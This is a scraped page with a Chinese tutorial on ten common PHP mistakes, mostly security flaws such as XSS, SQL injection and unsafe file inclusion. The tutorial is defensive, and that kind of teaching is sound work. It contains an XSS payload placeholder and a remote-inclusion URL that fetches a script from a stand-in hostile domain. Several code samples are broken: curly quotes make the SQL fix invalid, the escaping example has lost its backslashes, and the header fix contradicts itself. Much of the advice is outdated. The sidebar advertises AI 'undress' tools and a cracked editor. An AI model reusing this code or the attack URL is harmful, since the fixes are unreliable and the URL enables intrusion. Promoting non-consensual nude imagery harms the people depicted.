搜索
首页后端开发php教程介绍PHP程序员最易犯10种错误_PHP教程

介绍PHP程序员最易犯10种错误_PHP教程

Jul 20, 2016 am 10:57 AM
php介绍任务现在程序员错误

PHP程序员现在越来越承担着中重要的任务。php是个伟大的web开发语言,灵活的语言,但是看到php程序员周而复始的犯的一些错误。我做了下面这个列表,列出了PHP程序员经常犯的10中错误,大多数和安全相关。看看你犯了几种:

1.不转意html entities

一个基本的常识:所有不可信任的输入(特别是用户从form中提交的数据) ,输出之前都要转意。

<ol class="dp-c"><li class="alt"><span><span class="func">echo</span><span> </span><span class="vars">$_GET</span><span>[</span><span class="string">'usename'</span><span>] ; </span></span></li></ol>

这个例子有可能输出:

<script>/*更改admin密码的脚本或设置cookie的脚本*/</script>

这是一个明显的安全隐患,除非你保证你的用户都正确的输入。

如何修复:

我们需要将””,”and”等转换成正确的HTML表示(’, and “),函数htmlspecialchars 和htmlentities()正是干这个活的。

正确的方法:

<ol class="dp-c"><li class="alt"><span><span class="func">echo</span><span> htmlspecialchars(</span><span class="vars">$_GET</span><span>[</span><span class="string">'username'</span><span>], ENT_QUOTES); </span></span></li></ol>

2. 不转意SQL输入

我曾经在一篇文章中最简单的防止sql注入的方法(php+MySQL中)讨论过这个问题并给出了一个简单的方法。有人对我说,他们已经在php.ini中将magic_quotes设置为On,所以不必担心这个问题,但是不是所有的输入都是从$_GET, $_POST或 $_COOKIE中的得到的!

如何修复:

和在最简单的防止sql注入的方法(php+mysql中)中一样我还是推荐使用mysql_real_escape_string()函数

正确做法:

<ol class="dp-c">
<li class="alt"><span><span><?php  </span></span></span></li>
<li>
<span class="vars">$sql</span><span> = “UPDATE users SET  </span>
</li>
<li class="alt">
<span>name=’.mysql_real_escape_string(</span><span class="vars">$name</span><span>).’  </span>
</li>
<li>
<span>WHERE id=’.mysql_real_escape_string (</span><span class="vars">$id</span><span>).’”;  </span>
</li>
<li class="alt">
<span>mysql_query(</span><span class="vars">$sql</span><span>);  </span>
</li>
<li><span>?> </span></li>
</ol>

3.错误的使用HTTP-header 相关的函数:header(), session_start(), setcookie()

遇到过这个警告吗?”warning: Cannot addheader information - headers already sent [....]

每次从服务器下载一个网页的时候,服务器的输出都分成两个部分:头部和正文。

头部包含了一些非可视的数据,例如cookie。头部总是先到达。正文部分包括可视的html,图片等数据。

如果output_buffering设置为Off,所有的HTTP-header相关的函数必须在有输出之前调用。问题在于你在一个环境中开发,而在部署到另一个环境中去的时候,output_buffering的设置可能不一样。结果转向停止了,cookie和session都没有正确的设置。

如何修复:

确保在输出之前调用http-header相关的函数,并且令output_buffering = Off。

4. Require 或include 的文件使用不安全的数据

再次强调:不要相信不是你自己显式声明的数据。不要 Include 或 require 从$_GET,$_POST 或 $_COOKIE 中得到的文件。

例如:

<ol class="dp-c">
<li class="alt"><span><span>index.php  </span></span></li>
<li><span>  </span></li>
<li class="alt">
<span class="comment">//including header, config, database connection, etc </span><span> </span>
</li>
<li>
<span class="keyword">include</span><span>(</span><span class="vars">$_GET</span><span>[</span><span class="string">'filename'</span><span>]);  </span>
</li>
<li class="alt">
<span class="comment">//including footer </span><span> </span>
</li>
<li><span>?> </span></li>
</ol>

现在任一个黑客现在都可以用:http://www.yourdomain.com/index.php?filename=anyfile.txt来获取你的机密信息,或执行一个PHP脚本。

如果allow_url_fopen=On,你更是死定了:

试试这个输入:

http://www.yourdomain.com/index. … n.com%2Fphphack.php

现在你的网页中包含了http://www.youaredoomed.com/phphack.php的输出. 黑客可以发送垃圾邮件,改变密码,删除文件等等。只要你能想得到。

如何修复:

你必须自己控制哪些文件可以包含在的include或require指令中。

下面是一个快速但不全面的解决方法:

<ol class="dp-c">
<li class="alt"><span><span>  </span></span></li>
<li>
<span class="comment">//Include only files that are allowed. </span><span> </span>
</li>
<li class="alt">
<span class="vars">$allowedFiles</span><span> = </span><span class="keyword">array</span><span>(’file1.txt’,</span><span class="string">'file2.txt’,'</span><span>file3.txt’);  </span>
</li>
<li>
<span class="keyword">if</span><span>(in_array((string)</span><span class="vars">$_GET</span><span>[</span><span class="string">'filename'</span><span>],</span><span class="vars">$allowedFiles</span><span>)) {  </span>
</li>
<li class="alt">
<span class="keyword">include</span><span>(</span><span class="vars">$_GET</span><span>[</span><span class="string">'filename'</span><span>]);  </span>
</li>
<li><span>}  </span></li>
<li class="alt">
<span class="keyword">else</span><span>{  </span>
</li>
<li>
<span class="func">exit</span><span>(’not allowed’);  </span>
</li>
<li class="alt"><span>}  </span></li>
<li><span>?> </span></li>
</ol>

5. 语法错误

语法错误包括所有的词法和语法错误,太常见了,以至于我不得不在这里列出。解决办法就是认真学习PHP的语法,仔细一点不要漏掉一个括号,大括号,分号,引号。还有就是换个好的编辑器,就不要用记事本了!

6.很少使用或不用面向对象

很多的项目都没有使用PHP的面向对象技术,结果就是代码的维护变得非常耗时耗力。PHP支持的面向对象技术越来越多,越来越好,我们没有理由不使用面向对象。

7. 不使用framework

95% 的PHP项目都在做同样的四件事: Create, edit,list 和delete. 现在有很多MVC的框架来帮我们完成这四件事,我们为何不使用他们呢?

8. 不知道PHP中已经有的功能

PHP的核心包含很多功能。很多程序员重复的发明轮子。浪费了大量时间。编码之前搜索一下PHP mamual,在google上检索一下,也许会有新的发现!PHP中的exec()是一个强大的函数,可以执行cmd shell,并把执行结果的最后一行以字符串的形式返回。考虑到安全可以使用EscapeShellCmd()

9.使用旧版本的PHP

很多程序员还在使用PHP4,在PHP4上开发不能充分发挥PHP的潜能,还存在一些安全的隐患。转到PHP5上来吧,并不费很多功夫。大部分PHP4程序只要改动很少的语句甚至无需改动就可以迁移到PHP5上来。根据http://www.nexen.net的调查
只有12%的PHP服务器使用PHP5,所以有88%的PHP开发者还在使用PHP4.

10.对引号做两次转意

见过网页中出现’或’”吗?这通常是因为在开发者的环境中magic_quotes设置为off,而在部署的服务器上magic_quotes=on. PHP会在 GET, POST 和COOKIE中的数据上重复运行addslashes() 。

原始文本:

<ol class="dp-xml">
<li class="alt"><span><span>It’s a string  </span></span></li>
<li><span>magic quotes on:  </span></li>
<li class="alt"><span>It’s a string  </span></li>
<li><span>又运行一次  </span></li>
<li class="alt"><span>addslashes():  </span></li>
<li><span>It\’s a string  </span></li>
<li class="alt"><span>HTML输出:  </span></li>
<li><span>It’s a string </span></li>
</ol>

还有一种情况就是,用户一开始输入了错误的登录信息,服务器检测到错误输入后,输出同样的form要求用户再次输入,导致用户的输入转意两次!

希望通过以上内容介绍的十方面,能够给你打击来帮助。


www.bkjia.comtruehttp://www.bkjia.com/PHPjc/445749.htmlTechArticlePHP 程序员现在越来越承担着中重要的任务。 php 是个伟大的web开发语言,灵活的语言,但是看到php程序员周而复始的犯的一些错误。我做了...
声明
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn
PHP依赖注入容器:快速启动PHP依赖注入容器:快速启动May 13, 2025 am 12:11 AM

aphpdepentioncontiveContainerIsatoolThatManagesClassDeptions,增强codemodocultion,可验证性和Maintainability.itactsasaceCentralHubForeatingingIndections,因此reducingTightCightTightCoupOulplingIndeSingantInting。

PHP中的依赖注入与服务定位器PHP中的依赖注入与服务定位器May 13, 2025 am 12:10 AM

选择DependencyInjection(DI)用于大型应用,ServiceLocator适合小型项目或原型。1)DI通过构造函数注入依赖,提高代码的测试性和模块化。2)ServiceLocator通过中心注册获取服务,方便但可能导致代码耦合度增加。

PHP性能优化策略。PHP性能优化策略。May 13, 2025 am 12:06 AM

phpapplicationscanbeoptimizedForsPeedAndeffificeby:1)启用cacheInphp.ini,2)使用preparedStatatementSwithPdoforDatabasequesies,3)3)替换loopswitharray_filtaray_filteraray_maparray_mapfordataprocrocessing,4)conformentnginxasaseproxy,5)

PHP电子邮件验证:确保正确发送电子邮件PHP电子邮件验证:确保正确发送电子邮件May 13, 2025 am 12:06 AM

phpemailvalidation invoLvesthreesteps:1)格式化进行regulareXpressecthemailFormat; 2)dnsvalidationtoshethedomainhasavalidmxrecord; 3)

如何使PHP应用程序更快如何使PHP应用程序更快May 12, 2025 am 12:12 AM

tomakephpapplicationsfaster,关注台词:1)useopcodeCachingLikeLikeLikeLikeLikePachetoStorePreciledScompiledScriptbyTecode.2)MinimimiedAtabaseSqueriSegrieSqueriSegeriSybysequeryCachingandeffeftExting.3)Leveragephp7 leveragephp7 leveragephp7 leveragephpphp7功能forbettercodeefficy.4)

PHP性能优化清单:立即提高速度PHP性能优化清单:立即提高速度May 12, 2025 am 12:07 AM

到ImprovephPapplicationspeed,关注台词:1)启用opcodeCachingwithapCutoredUcescriptexecutiontime.2)实现databasequerycachingusingpdotominiminimizedatabasehits.3)usehttp/2tomultiplexrequlexrequestsandredececonnection.4 limitsclection.4.4

PHP依赖注入:提高代码可检验性PHP依赖注入:提高代码可检验性May 12, 2025 am 12:03 AM

依赖注入(DI)通过显式传递依赖关系,显着提升了PHP代码的可测试性。 1)DI解耦类与具体实现,使测试和维护更灵活。 2)三种类型中,构造函数注入明确表达依赖,保持状态一致。 3)使用DI容器管理复杂依赖,提升代码质量和开发效率。

PHP性能优化:数据库查询优化PHP性能优化:数据库查询优化May 12, 2025 am 12:02 AM

databasequeryOptimizationinphpinvolVolVOLVESEVERSEVERSTRATEMIESOENHANCEPERANCE.1)SELECTONLYNLYNESSERSAYCOLUMNSTORMONTOUMTOUNSOUDSATATATATATATATATATATRANSFER.3)

See all articles

热AI工具

Undresser.AI Undress

Undresser.AI Undress

人工智能驱动的应用程序,用于创建逼真的裸体照片

AI Clothes Remover

AI Clothes Remover

用于从照片中去除衣服的在线人工智能工具。

Undress AI Tool

Undress AI Tool

免费脱衣服图片

Clothoff.io

Clothoff.io

AI脱衣机

Video Face Swap

Video Face Swap

使用我们完全免费的人工智能换脸工具轻松在任何视频中换脸!

热门文章

热工具

Dreamweaver Mac版

Dreamweaver Mac版

视觉化网页开发工具

SublimeText3 Mac版

SublimeText3 Mac版

神级代码编辑软件(SublimeText3)

EditPlus 中文破解版

EditPlus 中文破解版

体积小,语法高亮,不支持代码提示功能

MinGW - 适用于 Windows 的极简 GNU

MinGW - 适用于 Windows 的极简 GNU

这个项目正在迁移到osdn.net/projects/mingw的过程中,你可以继续在那里关注我们。MinGW:GNU编译器集合(GCC)的本地Windows移植版本,可自由分发的导入库和用于构建本地Windows应用程序的头文件;包括对MSVC运行时的扩展,以支持C99功能。MinGW的所有软件都可以在64位Windows平台上运行。

SecLists

SecLists

SecLists是最终安全测试人员的伙伴。它是一个包含各种类型列表的集合,这些列表在安全评估过程中经常使用,都在一个地方。SecLists通过方便地提供安全测试人员可能需要的所有列表,帮助提高安全测试的效率和生产力。列表类型包括用户名、密码、URL、模糊测试有效载荷、敏感数据模式、Web shell等等。测试人员只需将此存储库拉到新的测试机上,他就可以访问到所需的每种类型的列表。